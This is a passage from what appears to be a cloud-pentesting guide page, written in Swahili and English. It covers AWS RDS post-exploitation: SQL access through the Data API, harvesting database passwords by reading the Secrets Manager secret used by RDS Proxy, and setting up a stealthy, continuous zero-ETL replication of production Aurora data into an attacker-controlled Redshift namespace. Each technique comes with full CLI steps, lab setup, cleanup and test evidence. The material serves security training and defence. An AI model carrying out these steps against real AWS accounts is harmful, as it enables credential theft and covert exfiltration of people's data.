aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
|
||||
[[ "$P" == "None" || "$P" == "null" ]] && break
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 4) Create a Secrets Manager secret for Data API auth
|
||||
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
|
||||
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
|
||||
--query ARN --output text)
|
||||
|
||||
# 5) Prove out-of-band SQL via HTTPS using rds-data
|
||||
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
|
||||
--format-records-as JSON
|
||||
```
|
||||
</details>
|
||||
|
||||
Vidokezo:
|
||||
- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
|
||||
- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
|
||||
- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
|
||||
|
||||
|
||||
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Tumia vibaya usanidi wa RDS Proxy kugundua Secrets Manager secret inayotumiwa kwa uthibitishaji wa backend, kisha soma secret kupata nywila za database. Katika mazingira mengi, haki pana za `secretsmanager:GetSecretValue` hutolewa, na kufanya hili kuwa pivot rahisi kupata nywila za DB. Ikiwa secret inatumia CMK, idhini za KMS zisizopangwa ipasavyo zinaweza pia kuruhusu `kms:Decrypt`.
|
||||
|
||||
Ruhusa zinazohitajika (chini kabisa):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` on the referenced SecretArn
|
||||
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
|
||||
|
||||
Athari: Kufichuka mara moja kwa DB username/password iliyowekwa kwenye proxy; kuruhusu ufikiaji wa moja kwa moja wa DB au further lateral movement.
|
||||
|
||||
Hatua
|
||||
```bash
|
||||
# 1) Enumerate proxies and extract the SecretArn used for auth
|
||||
aws rds describe-db-proxies \
|
||||
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
|
||||
--output table
|
||||
|
||||
# 2) Read the secret value (common over-permission)
|
||||
aws secretsmanager get-secret-value \
|
||||
--secret-id <SecretArnFromProxy> \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Maabara (kiasi cha chini cha kuiga)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SECRET_ARN=$(aws secretsmanager create-secret \
|
||||
--region $REGION --name rds/proxy/aurora-demo \
|
||||
--secret-string username:admin \
|
||||
--query ARN --output text)
|
||||
aws iam create-role --role-name rds-proxy-secret-role \
|
||||
--assume-role-policy-document Version:2012-10-17
|
||||
aws iam attach-role-policy --role-name rds-proxy-secret-role \
|
||||
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
--auth [AuthScheme:SECRETS] \
|
||||
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
|
||||
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
Usafishaji (maabara)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Tumia Aurora PostgreSQL zero‑ETL integration ili kuiga data ya uzalishaji kwa kuendelea ndani ya namespace ya Redshift Serverless unayodhibiti. Kwa resource policy ya Redshift yenye ruhusa pana inayomruhusu CreateInboundIntegration/AuthorizeInboundIntegration kwa ARN maalum ya Aurora cluster, mshambuliaji anaweza kuanzisha nakala ya data karibu kwa wakati‑halisi bila DB creds, snapshots au kufichuliwa kwa mtandao.
|
||||
|
||||
Ruhusa zinazohitajika (ya chini kabisa):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
Imethibitishwa kwenye: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Unda namespace ya Redshift Serverless + workgroup</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
|
||||
--query namespace.namespaceArn --output text)
|
||||
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
|
||||
--query workgroup.workgroupArn --output text)
|
||||
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
|
||||
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Sanidi sera ya rasilimali ya Redshift ili kuruhusu chanzo cha Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
cat > rs-rp.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AuthorizeInboundByRedshiftService",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "redshift.amazonaws.com"},
|
||||
"Action": "redshift:AuthorizeInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN",
|
||||
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
|
||||
},
|
||||
{
|
||||
"Sid": "AllowCreateInboundFromAccount",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
|
||||
"Action": "redshift:CreateInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN"
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Unda Aurora PostgreSQL cluster (wezesha Data API na logical replication)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--engine aurora-postgresql --engine-version 16.4 \
|
||||
--master-username postgres --master-user-password 'InitPwd-1!' \
|
||||
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
# Serverless v2 instance
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
|
||||
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
|
||||
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
# Cluster parameter group for zero‑ETL
|
||||
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
|
||||
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
|
||||
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
|
||||
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
|
||||
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Unda muunganisho wa zero‑ETL kutoka RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
|
||||
--data-filter 'include: postgres.*.*'
|
||||
# Redshift inbound integration should become ACTIVE
|
||||
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Materialize na kuuliza data zilizokopiwa katika Redshift</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "select integration_id from svv_integration" # take the GUID value
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "create database ztl_db from integration '<integration_id>' database postgres"
|
||||
# List tables replicated
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
|
||||
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
|
||||
```
|
||||
</details>
|
||||
|
||||
Ushahidi uliothibitishwa kwenye jaribio:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION ilionyesha integration_id 377a462b-c42c-4f08-937b-77fe75d98211 na state PendingDbConnectState kabla ya kuunda DB.
|
||||
- Baada ya CREATE DATABASE FROM INTEGRATION, kuorodhesha tables kulifunua schema ztl na table customers; kuchagua kutoka ztl.customers kilirudisha rekodi 2 (Alice, Bob).
|
||||
|
||||
Athari: Exfiltration endelevu ya karibu‑muda‑halisi ya meza zilizochaguliwa za Aurora PostgreSQL kwenda Redshift Serverless zinazoendeshwa na mshambuliaji, bila kutumia maelezo ya kuingia ya database, chelezo, au ufikiaji wa mtandao kwa cluster chanzo.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user